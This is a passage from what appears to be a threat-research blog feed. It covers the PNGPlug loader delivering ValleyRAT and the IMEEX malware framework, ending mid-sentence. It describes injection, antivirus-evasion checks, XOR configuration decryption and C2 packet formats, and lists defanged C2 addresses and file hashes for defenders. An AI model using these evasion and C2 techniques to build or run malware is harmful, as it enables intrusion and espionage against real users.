&lt;a href="#role-of-the-pngplug-loader" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The primary function of the loader (&lt;code&gt;libcef.dll&lt;/code&gt;) is to set up the environment
for malware execution via the following steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Patching ntdll.dll: Enables memory injection.&lt;/li&gt;
&lt;li&gt;Command-line Argument Parsing:
&lt;ul&gt;
&lt;li&gt;If the &lt;code&gt;/aut&lt;/code&gt; argument is present, the loader decrypts the registry path
&lt;code&gt;Software\DICKEXEPATH&lt;/code&gt; using XOR encryption and writes the down.exe path
to the registry (&lt;code&gt;HKEY_CURRENT_USER\Software\DICKEXEPATH&lt;/code&gt;). The loader then
uses the
&lt;a href="https://github.com/hasherezade/pe_to_shellcode/tree/a2458c96619b721677af0f9b906cd6a229364b4c"target="_blank" rel="noopener"&gt;pe_to_shellcode&lt;/a&gt;
injection method to inject the contents of aut.png into memory.
(&lt;a href="https://bbs.kanxue.com/thread-284691.htm"target="_blank" rel="noopener"&gt;For more information about this injected payload, refer to this report.&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;/aut&lt;/code&gt; is absent, the loader runs &lt;code&gt;down.exe&lt;/code&gt; with the argument and
continues its checks.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Anti-Virus Detection: The loader searches for the presence of 360 Total
Security by checking the path &lt;code&gt;C:\Program Files (x86)\360\360Safeuninst.exe&lt;/code&gt;.
If absent, the loader maps &lt;code&gt;view.png&lt;/code&gt; into memory and creates a new process
(&lt;code&gt;colorcpl.exe&lt;/code&gt;), injecting the contents of &lt;code&gt;view.png&lt;/code&gt;. During
investigations, the process was executing ValleyRAT malware.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The use of .png file extensions for malicious payloads is a key stealth tactic
and inspired the name &lt;strong&gt;PNGPlug&lt;/strong&gt;. As shown in the screenshots below, these PNG
files contain additional data, specifically PE executables, embedded at
specific offsets. This data is loaded and injected into the process as
described earlier, further enhancing the malware’s ability to evade detection
while executing its payload.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2025/01/weaponized-software-targets-chinese/images/fig1.png" title="Binwalk output for one of the PNG files used by the loader, demonstrating that it has a Windows executable (PE) at offset 0x2AB9E." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Binwalk output for one of the PNG files used by the loader, demonstrating that it has a Windows executable (PE) at offset 0x2AB9E.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2025/01/weaponized-software-targets-chinese/images/fig2.png" title="A function in the loader that handles the mapping of the PNG file into the memory. Specifically, it looks for the data that begins at offset 0x2AB9E in the PNG file." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;A function in the loader that handles the mapping of the PNG file into the memory. Specifically, it looks for the data that begins at offset 0x2AB9E in the PNG file.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;ValleyRAT Details&lt;span class="hx:absolute hx:-mt-20" id="valleyrat-details"&gt;&lt;/span&gt;
&lt;a href="#valleyrat-details" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;ValleyRAT is a sophisticated, multi-stage malware attributed to the Silver Fox
APT. It employs advanced techniques such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Shellcode Execution: Running components directly in memory to reduce its file
footprint and evade detection.&lt;/li&gt;
&lt;li&gt;Obfuscation and Privilege Escalation: Hiding malicious activities and gaining
elevated access.&lt;/li&gt;
&lt;li&gt;Persistence Mechanisms: Leveraging scheduled tasks and registry modifications
to maintain control over infected systems.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The malware’s stages include initial execution, deployment of obfuscated
shellcode, and a loader module that fetches additional malicious components
from its command-and-control (C2) server.&lt;/p&gt;
&lt;h2&gt;Attribution&lt;span class="hx:absolute hx:-mt-20" id="attribution"&gt;&lt;/span&gt;
&lt;a href="#attribution" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;a href="https://www.fortinet.com/blog/threat-research/valleyrat-campaign-targeting-chinese-speakers#:~:text=This%20relatively%20new%20RAT%20is%20attributed%20to%20the%20suspected%20APT%20group%20%E2%80%9CSilver%20Fox%E2%80%9D."target="_blank" rel="noopener"&gt;Evidence links this campaign to the Silver Fox APT&lt;/a&gt;,
a group known for espionage and cybercrime campaigns targeting Chinese-speaking
individuals and organizations. Their tactics include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Phishing Techniques: Using trojanized files and SEO-optimized phishing sites.&lt;/li&gt;
&lt;li&gt;Espionage Tools: Deploying malware like ValleyRAT and Gh0st RAT to monitor
user activities, deliver plugins, and potentially install additional
payloads.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Based on victimology, infection vectors, and observed payloads, we attribute
this campaign to Silver Fox with high confidence. Their operations underscore
the need for robust cybersecurity measures to counter evolving threats from
sophisticated actors.&lt;/p&gt;
&lt;h2&gt;What’s Interesting?&lt;span class="hx:absolute hx:-mt-20" id="whats-interesting"&gt;&lt;/span&gt;
&lt;a href="#whats-interesting" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;This campaign stands out due to its unique focus on Chinese-speaking victims
and organizations across China, Hong Kong, and Taiwan. It demonstrates an
attack that broadly targets one specific demographic—the Chinese-speaking.
Interestingly, despite their well-documented disputes and distinct political
landscapes, the attackers are treating these regions as a unified target. This
differs from the conventional perspective within the security community, which
often considers them separately when analyzing threats.&lt;/p&gt;
&lt;p&gt;Another notable aspect of these attacks is the potential operational gaps
within these organizations, particularly the lack of investment in employee
tools among some larger companies. This oversight frequently forces employees
to rely on free software, inadvertently increasing their vulnerability to
malicious campaigns.&lt;/p&gt;
&lt;p&gt;Equally striking is the attackers’ sophisticated use of legitimate software as
a delivery mechanism for malware, seamlessly blending malicious activities with
seemingly benign applications. The adaptability of the PNGPlug loader further
elevates the threat, as its modular design allows it to be tailored for
multiple campaigns. This flexibility underscores the evolving nature of the
threat landscape, emphasizing the urgent need for advanced detection and
prevention mechanisms to counter these stealthy and persistent attacks.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;code&gt;156.247.33[.]53&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;08dad42da5aba6ef48fca27c783f78f06ab9ea7a933420e4b6b21e12e550dd7d&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;33bc111238a0c6f10f6fe3288b5d4efe246c20efd8d85b4fe88f7d602d70738e&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;50a64e97c6a5417023f3561f33291b448ce830a4d99c40356af67301c8fa7523&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;6d4dd4334791c91bb09e7a91dd5c450b2c6e3348a5586de011c54ce3f473f619&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;76fc76dc651c3cc9d766a6ad8a90f605326463bc4cb2f8f053d44dfbc913beee&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ad23f5c9bab137dc24343fc410f7587885aab6772dee5e75a216ed579c6ee420&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;c497506fe2df57c39fcf92398f4864ca4bfcb1a6f2f80c3c520166bc61882855&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;e49b085f5484531395b5a7903f004b2a02a2b4ebfa46116d1a665ba881b1f528&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;c636120749b49f47fc8d42409ead6c51ea44bc40c815370997ca63f48acdf002&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;79acdca5247ca9719f2f3a34c7942cd60b209f7b616efa5dd81e6656a8baf9a5&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;70facc8ad5db172e235b4cc720a0edaedd4470b8a6ec5da8dee2758f4a1aafef&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;e9e4751c88d3a1a4bfdd5d07bb35636787b0d6fbf68b17642d3fe03cbe5ebf70&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;de8a0da702a491f610b9e85050d8641cadf4ed84edf4d151f94335b0d78d6636&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;6d2a4d9e2fc6e4dac2c426851b4bdf86dd63a5515d8d853e622a0bc01d250ce9&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;4a68bdfa3e31a8c063bbf94469160eb7998a556027d5ad33f37c347a71c2d3a4&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;7c31c4d0308fb1d67f6af48a76138a9db19f494c1e9a12debdcca7382ad5418c&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;5f9a5ad43a9f79976cd7014ce072429ef2edbae872b4226372cfb07d8a86b8a5&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;3ac3ca18142a935608cb0d2c8d6421ebb9abc30bce93f094447b9c3f63fe791b&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;9d97f3f55bc647911e14a36c83f263e91662cf9d13a2fc3ec7c92dedb8977d37&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;c070749f95aeeefcd1c3a875c1b8e77b57cad0c8338436af9a3c9e1323fd4e11&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;7eaed6fa867875119c3ebb40aa24716d91fdbccb2106fa4708ff0637920a920c&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fa26722e99763a29af160fae64183a47a57362b666753624b78e954c8cde0525&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;9aa51d1c82fdbc8f0f27340180bd40faa7e76b8ac6d204b2d3548cfd0897d805&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;58416315c61ed5cb2c754244ed5c081963dabf3e698b04226a00f978cd913e84&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;f2f96e5ac1b4bd6cac49c71ca2010dcbe5751757483520cfc7dddf4fb7186044&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;45.195.148[.]107&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;46af73560cafff5c8bbc16980d01641af0de3b689bc248dfb52afcf3a8a76a55&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;7bff2404c2816c4e1576d449820f01e3f46e7c972beb1843e3b8da2e065f8dc3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;94ff4679dd5aec7874354c14132701ecdfbbb558c6011e4952d13bf843255529&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ae6d88ea99e530f778ee6088862b50dfb6e8bb45857211e9105428c57c2a7b4a&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;9aea0fdfead2e956bc0b4574c2b4cb2855dd9df6a5fd61d350f3285d249adfca&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;First stage of the loader:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;c5d5054047a12efc68a67abd8f15069a853dd09800cd39d68df5a27702b45334&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;a97371df7d51fe0aee1d54b5b233a1713f69224802b1da35337a3041788990e6&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;4b6bf40dc331c89e416ef012a6dc4f55c83136197be7115246b42e4f7a828baa&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;30147b6691e5bc1a15c76cebf81b2de77d9099e8200b6ed9742c6e3b36505f34&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;9bd53057c8905d508374698e2595301f0be1529ec4ebfa71c09ad0c01a562982&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;4d64c2d1ae0de0f3066a6c020ab7aa5a9dd487c0cf1ff1ca2e93d98ff30e039f&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;99fb7a40dbf6a042bcb77f67a5a76fe03ec3c6820ac5e15cb009795d545152ea&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;d9e939f904a1cddf5fb8ffba14acbfe227ed5dfc4990b52a44d4dfd0baa6de4e&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0b33f08bc2917c4825c053754fc88e16b35d1a8fff4135595b265a4c6f850250&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cd347b9f558cf024df1dbb62ed7a0d72a2edc04b1330058cfa1baf4fc3894e03&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;8aa28f35dbafc18a37b07fd15bb599e3c8de5b692117f1c6fd491bd03028a423&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;d51db234d0236cd0dbfcf13adc33387f10920011537815d188eff012872e30be&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;d0ce85ec31053478c67e4f53ca2ef9b7b1f0fda74621c9c7c8c1612772ca778c&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;504d7714419931f80b734e212a9431ec98887c56ade8966c4d7cae58b28d49ca&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;16bb3968e1112b63fef8a4e7bda9d021dfef6fd1955fdfa677545535a14a65b4&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;659ede632d3bfc28d143c144fdba34d08b21c4f97ce6c9dc1fcd4d2bf5cc25e3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;463c9704fb009cd13e0ef50fa7d5035aa5f35b4841fe75ecab5c4a276601f837&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;3fc35cab1272f769af309cb46375e21680f13d629181c7646cb0cf2c9b2e72e7&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;517b43bf057877727387316d8538dc07599856eb428d43f512e89964a5dfb331&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;e54ce9939679c691dc5719e309a8d541183b6672269fd61013109ef0d8509b1e&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Technical Analysis of a Novel IMEEX Framework</title><link>https://research.intezer.com/blog/2024/10/technical-analysis-of-a-novel-imeex-framework/</link><pubDate>Thu, 10 Oct 2024 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2024/10/technical-analysis-of-a-novel-imeex-framework/</guid><description>
&lt;p&gt;The IMEEX framework is a newly discovered, custom-built malware designed to
target Windows systems. Delivered as a 64-bit DLL, it offers attackers
extensive control over compromised machines. This framework is notable for its
robust capabilities, featuring a wide array of functionalities, including
execution of additional modules, file manipulation, process management,
registry modification, and remote command execution. It also performs system
reconnaissance by gathering critical system information, such as hostname,
operating system version, volume serial number, and system language, and relays
this data to its command-and-control (C2) server.&lt;/p&gt;
&lt;p&gt;Our analysis indicates that the IMEEX framework has primarily targeted
&lt;a href="#imeex-targeting-djibouti"&gt;Djibouti&lt;/a&gt;, with a less capable variant appearing
targeting &lt;a href="#imeex-targeting-afghanistan"&gt;Afghanistan&lt;/a&gt;. At this time, we are
unaware of the wider distribution of the campaign but assume it&amp;rsquo;s not limited
to these two countries. While the infection vector remains unclear, the
behavior of the malware suggests it is part of a carefully orchestrated attack
campaign aimed at maintaining persistence and avoiding detection through
advanced techniques such as masquerading as legitimate processes, mutex
creation, and encrypted communications with the C2 server.&lt;/p&gt;
&lt;p&gt;Interestingly, there are signs of infrastructure reuse with ShadowPad, a
modular malware platform privately sold and employed by multiple Chinese threat
actor groups. This overlap might indicate a strategic rotation from ShadowPad
to the IMEEX framework, although it does not conclusively link the campaign to
any specific group. Instead, it suggests a possible evolution in tactics, where
the attackers leverage IMEEX as an alternative toolset.&lt;/p&gt;
&lt;p&gt;This blog aims to provide a detailed technical analysis of the IMEEX
framework&amp;rsquo;s capabilities. We will explore its core functionalities, ranging
from system reconnaissance and data collection to dynamic module loading and
execution of additional modules.&lt;/p&gt;
&lt;h2&gt;Key Findings about IMEEX&lt;span class="hx:absolute hx:-mt-20" id="key-findings-about-imeex"&gt;&lt;/span&gt;
&lt;a href="#key-findings-about-imeex" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;Geographic Distribution: The IMEEX framework samples were submitted to
VirusTotal from Djibouti and Afghanistan, indicating potential targeting or
deployment in those regions. This geographic pattern suggests a focused
campaign, with some variations between samples in terms of functionality.&lt;/li&gt;
&lt;li&gt;Masquerading as Legitimate Processes: IMEEX framework expects to be loaded by
svchost.exe or rundll32.exe, ensuring it blends with legitimate Windows
processes to avoid detection.&lt;/li&gt;
&lt;li&gt;Configuration Decryption: IMEEX framework extracts its configuration from the
last 108 bytes of its executable. The decrypted data includes C2 domains and
a port number, usually 443.&lt;/li&gt;
&lt;li&gt;Command and Control (C2) Communication: The malware communicates with its C2
server via custom structured packets, including checksums and identifiers for
data integrity. It uses port 443, blending in with legitimate HTTPS traffic,
over TLS.&lt;/li&gt;
&lt;li&gt;Advanced File, Process, and Registry Operations: IMEEX framework supports a
wide range of operations, including file manipulation, process control,
remote code execution, and extensive Windows Registry modifications.&lt;/li&gt;
&lt;li&gt;Modular Execution: The framework employs a modular approach, loading and
executing components on-demand. The malware uses the Windows Registry to keep
track of its modules, ensuring each is executed only once and monitoring
their state throughout execution.&lt;/li&gt;
&lt;li&gt;Persistence and Evasion: By modifying registry keys and leveraging scheduled
deletions for locked files, the malware maintains persistence while evading
detection.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Technical Overview&lt;span class="hx:absolute hx:-mt-20" id="technical-overview"&gt;&lt;/span&gt;
&lt;a href="#technical-overview" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The malware checks the context in which its DLL is loaded by verifying if it is
running under legitimate system processes like svchost.exe or rundll32.exe.
Based on the process name, it either proceeds to establish network connections,
or terminates to avoid detection. This behavior suggests an attempt to and
blend in with trusted Windows processes, enhancing stealth and persistence.&lt;/p&gt;
&lt;p&gt;The malware creates a mutex named either Global4B59AFCC or Global3796878E. This
mutex ensures that only one instance of the malware runs on the infected system
at any given time, preventing conflicts and redundant resource usage.&lt;/p&gt;
&lt;h3&gt;Sample Analysis&lt;span class="hx:absolute hx:-mt-20" id="sample-analysis"&gt;&lt;/span&gt;
&lt;a href="#sample-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;We analyzed four samples, and most of their functions remained consistent
across versions. The samples analyzed include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;3e25798da0232d9039e570fb34d4bdccf7f082fa38b486a097d954f5f3debab3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;7a3113d3212605a33924ad16ab360b7d48cc94de0de1c1cf9dc44695d4a01648&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;7d02ad54e4e56f34e59414f9b02397901fc61bb1158a31ab2586fe62564aeb93&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;94b8a01ad4b53d202984afb6781d7f88cb5cd329349791516e985ea88e08ad66&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Four files were submitted to VirusTotal from Djibouti. During the
investigation, we found a similar framework variant from Afghanistan with fewer
capabilities, which we will also cover.&lt;/p&gt;
&lt;p&gt;The files from Djibouti are nearly identical, with only minor differences in
mutex names and C2 domains. The consistent codebase and minimal changes suggest
they are variants deployed within the same campaign. The primary differences
lie in the names of the mutexes and the process names the framework uses for
masquerading.&lt;/p&gt;
&lt;h3&gt;Configuration Extraction and Decryption&lt;span class="hx:absolute hx:-mt-20" id="configuration-extraction-and-decryption"&gt;&lt;/span&gt;
&lt;a href="#configuration-extraction-and-decryption" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The framework extracts its configuration data from the last 108 bytes of its
own executable file. This data is encrypted using a custom XOR-based algorithm.
The decryption process involves:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Read the encrypted data from the executable&amp;rsquo;s end.&lt;/li&gt;
&lt;li&gt;Perform a reverse iteration through the data, XOR-ing each value with the
value that precedes it&lt;/li&gt;
&lt;li&gt;Validate the decrypted data with the magic value &lt;code&gt;0xFEFCFDFB&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The first 2 bytes following the magic are the value of the port – 443.&lt;/li&gt;
&lt;li&gt;The rest of the bytes are XOR-ed with the value &lt;code&gt;0xE6&lt;/code&gt; giving the decrypted
domains,separated by a semicolon.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Appendix B includes Python configuration extractors for all variants observed.&lt;/p&gt;
&lt;p&gt;We extracted the following C2 domains and addresses from the samples we
analyzed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;yurtumawat.wwwhost[.]us&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;erkinhorshiden.onedumb[.]com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;45.141.139[.]146&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Network Initialization and Operation&lt;span class="hx:absolute hx:-mt-20" id="network-initialization-and-operation"&gt;&lt;/span&gt;
&lt;a href="#network-initialization-and-operation" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;IMEEX initializes network communication by establishing a socket connection to
decrypted C2 server addresses. It attempts to connect over TCP port 443, likely
evading network monitoring by blending with legitimate encrypted web traffic.
Notably, the framework uses dynamic DNS providers for its command-and-control
servers.&lt;/p&gt;
&lt;p&gt;The framework employs checksums and specific identifiers in its communication
protocol to ensure data integrity and accurate command execution. The use of
structured headers and data packets allows for a modular approach to command
handling and response generation.&lt;/p&gt;
&lt;p&gt;Key Features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Checksums: Calculated to verify that data has not been tampered with during
transmission. Each packet includes a checksum calculated over the header.&lt;/li&gt;
&lt;li&gt;IDs and Sub-IDs: Numeric identifiers specify the exact command or response
type, ensuring proper interpretation of exchanged information between the
malware and the C2 server. The response packets also use a unique ID to
identify the operation that is sending the response.&lt;/li&gt;
&lt;li&gt;Error Handling: The malware sends error responses when operations fail,
allowing the C2 server to handle exceptions or retry commands.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;C2 Packet Data Structure&lt;span class="hx:absolute hx:-mt-20" id="c2-packet-data-structure"&gt;&lt;/span&gt;
&lt;a href="#c2-packet-data-structure" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Communication between the malware and the C2 server uses specific packet
formats for both requests and responses. Each packet contains a header and a
data section, adhering to predefined structures to facilitate various
operations.&lt;/p&gt;
&lt;p&gt;Structure of packets received from the C2:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Packet&lt;/th&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;(Bytes)&lt;/th&gt;
&lt;th&gt;Size (Bytes)&lt;/th&gt;
&lt;th&gt;Field Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Header&lt;/td&gt;
&lt;td&gt;0-3&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Unspecified Operation-specific data.&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;4-7&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Class ID&lt;/td&gt;
&lt;td&gt;Specifies the main operation to perform.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;8-11&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Command ID&lt;/td&gt;
&lt;td&gt;Additional identifier for sub-commands.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;12-15&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Checksum&lt;/td&gt;
&lt;td&gt;Validates the integrity of the header data.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Data&lt;/td&gt;
&lt;td&gt;16+&lt;/td&gt;
&lt;td&gt;Parameters&lt;/td&gt;
&lt;td&gt;Contains parameters or data required for executing the command.&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Structure of packets that are sent to the C2:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Packet&lt;/th&gt;
&lt;th&gt;Offset (Bytes)&lt;/th&gt;
&lt;th&gt;Size (Bytes)&lt;/th&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Header&lt;/td&gt;
&lt;td&gt;0-3&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Packet size&lt;/td&gt;
&lt;td&gt;Specifies the size of the packet.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;4-7&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;ID&lt;/td&gt;
&lt;td&gt;Identifies the operation or response.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;8-11&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Checksum&lt;/td&gt;
&lt;td&gt;Validates the integrity of the header data.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Data&lt;/td&gt;
&lt;td&gt;12+&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Command parameters&lt;/td&gt;
&lt;td&gt;Contains the actual data or payload.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The ID field encodes a combination of the Class ID, Command ID, and an optional
flag in big-endian format, serving as a unique identifier to correlate specific
responses from the framework with the operations that generated them.&lt;/p&gt;
&lt;h3&gt;Reconnaissance&lt;span class="hx:absolute hx:-mt-20" id="reconnaissance"&gt;&lt;/span&gt;
&lt;a href="#reconnaissance" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Before initiating its main thread, which manages communication with the C2
server and executes various operations, the framework performs initial
reconnaissance on the infected endpoint. It collects system information and
sends this data to the C2 server. The information gathered includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;System ANSI Code Page Identifier&lt;/strong&gt;: Obtained using the
&lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/winnls/nf-winnls-getacp"target="_blank" rel="noopener"&gt;GetACP&lt;/a&gt;
function.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;File System and Volume Information&lt;/strong&gt;: Retrieves details about the file
system and volume of the current working directory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hostname&lt;/strong&gt;: The network name assigned to the host machine.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Operating System Version&lt;/strong&gt;: The version number and build information of the
host&amp;rsquo;s operating system.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IP Address&lt;/strong&gt;: The current IP address assigned to the host.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This collected information is sent to the C2 server with an identifier value of
&lt;code&gt;0x88&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Supported Commands by the Framework&lt;span class="hx:absolute hx:-mt-20" id="supported-commands-by-the-framework"&gt;&lt;/span&gt;
&lt;a href="#supported-commands-by-the-framework" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The IMEEX framework supports a wide array of commands, enabling comprehensive
control over infected systems. These commands are categorized into several
classes, such as file management, process manipulation, remote command
execution, and registry operations. The RAT&amp;rsquo;s functionality includes reading,
writing, deleting files and directories, enumerating and terminating processes,
and remotely executing programs and commands on the compromised machine. It
uses a structured communication protocol with custom packet headers to manage
